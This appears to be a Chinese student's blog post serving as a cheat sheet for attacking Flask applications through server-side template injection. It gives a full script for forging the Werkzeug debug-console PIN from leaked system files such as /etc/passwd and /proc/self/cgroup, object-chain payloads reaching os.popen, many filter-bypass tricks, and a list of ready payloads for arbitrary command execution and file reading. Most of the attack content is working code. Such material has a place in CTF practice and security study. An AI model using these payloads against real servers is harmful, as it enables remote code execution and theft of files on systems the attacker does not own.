阅读量:0
🎼个人主页:金灰
😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨
专注网络空间安全服务,期待与您的交流分享~
感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️
🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~
免责声明:本文仅做分享~
目录
Flask官方文档
欢迎使用 Flask — Flask 文档 (3.0.x) (palletsprojects.com)
Flask: 5000 python 的一个中间件 ,负责提供http服务,类似与php 的 php-fpm phpcgi {{ }} render_template_string(request.args.get('id')) -->模板渲染的效果 服务器端模板注入(SSTI) 利用点
SSTI利用条件:
渲染字符串可控,也就说模板的内容可控. 我们通过模板 语法 {{ xxx }} 相当于变相的执行了服务器上的python代码. 利用 render_template_string函数 参数可控,或者部分可控. render_template 相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法. render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析.
验证ssti是否存在
验证ssti是否存在--> 1 {{ 2*2 }} 2 {{ config }} -->得到一些配置项
Flask的console
如果开启了调试, 访问/console ,需要PIN码,(在启动Flask时会自动生成) app.run(debug=True) --> 如果文件读取存在,可以拼凑出PIN的所有计算要素,从而自己计算出PIN码. 计算PIN码 modname: flask.app username: Administrator public_bits 内容: ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py'] 报错看绝对路径 我们需要知道当前登陆的用户名 private_bits 内容: ['197975952026825', b'5d744fd6-d3af-4dec-83f4-04043f200c3c'] getNode uuid.getnode machine_id 读注册表内容
总结:
要计算PIN码,需要private_bits 和public_bits 分别需要确定的是: 1 python运行的脚本名 2 固定值 flask.app 3 固定值 Flask 4 当前脚本运行的绝对路径 --可以从报错获取 5 uuid.getnode 6 machine_id
get_pin.py脚本
# get_pin.py脚本 import hashlib from itertools import chain def getPIN(public_bits,private_bits): rv = None num = None h = hashlib.sha1() for bit in chain(public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num return rv, cookie_name if __name__ == "__main__": # 运行此脚本,前提是拿到 private_bits 和 public_bits public_bits=[ 'Administrator', #用户名 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py' # 路径. --报错获取 ] private_bits=[ '197975952026825','5d744fd6-d3af-4dec-83f4-04043f200c3c' # nodeid machine_id ] PIN = getPIN(public_bits,private_bits) print(PIN)
例
例子: 读取-- ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py'] ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\Lib\\site-packages\\flask\\app.py'] ['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c'] ['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c'] ===================================================================== 用户名获取: 读 /etc/passwd ======================================================================= nodeid获取: linux下 getNode读取的文件 /sys/class/net/eth0/address --> 02:42:0a:00:01:74 对其进行整理 >>> s='02:42:0a:00:01:74' >>> s=s.replace(":","") >>> print(int(s[1:],16)) 2482658869620 ====================================================================== machine_id获取: 读 /proc/sys/kernel/random/boot_id ---> boot_id 05167573-d6ac-4836-ab76-a7897c7a600a 读 /proc/self/cgroup --> 67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 整理后 拼接 ----->最终machine_id 05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e ---------------------- os.popen('ls').read()
SSTI的引用链:
"".__class__.__base__ # 拿到Object对象 (根类) .__subclasses__()[144]. # 拿到os类 "".__class__.__base__.__subclasses__()[144] # 拿到os类 __init__.__globals__['popen']('calc') # 调用os类的popen方法,执行calc参数 "".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc') #调用os类的popen方法,执行calc参数 "".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')
突破过滤:
1 过滤字符. (点) "".__class__ 转化为 ""['__class__''] name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}} 2 过滤下划线_ 第一种 构造下划线 {% set a =(()|select|string|list).pop(24) %} {% print(a) %} 第二种 十六进制绕过 {{ ()["\x5f\x5fclass\x5f\x5f"] }} 3 绕过[]过滤 __getitem__ 可以把中括号换成小括号使用 name={{ "".__class__.__base__.__subclasses__().__getitem__(132) }} 4 过滤了{{ 使用{% 绕过 5 过滤了单引号或者双引号 name={{ "".__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__[request.args.a](request.args.b).read() }} 外部传值 ?a=popen&b=ls / 6 过滤了数字 构造出1 {{(dict(e=a)|join|count)}} 7 关键字绕过 class base {{dict(__cl=a,ass__=a)|join}} 构造class 8 还可以使用全角的数字绕过 0123456789
SSTI-payloads:
1、任意命令执行 {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%} 2、任意命令执行 {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}} //这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload 3、任意命令执行 {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}} 4、任意命令执行 {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} //x的含义是可以为任意字母,不仅仅限于x 5、任意命令执行 {{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} 6、文件读取 {{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}} //x的含义是可以为任意字母,不仅仅限于x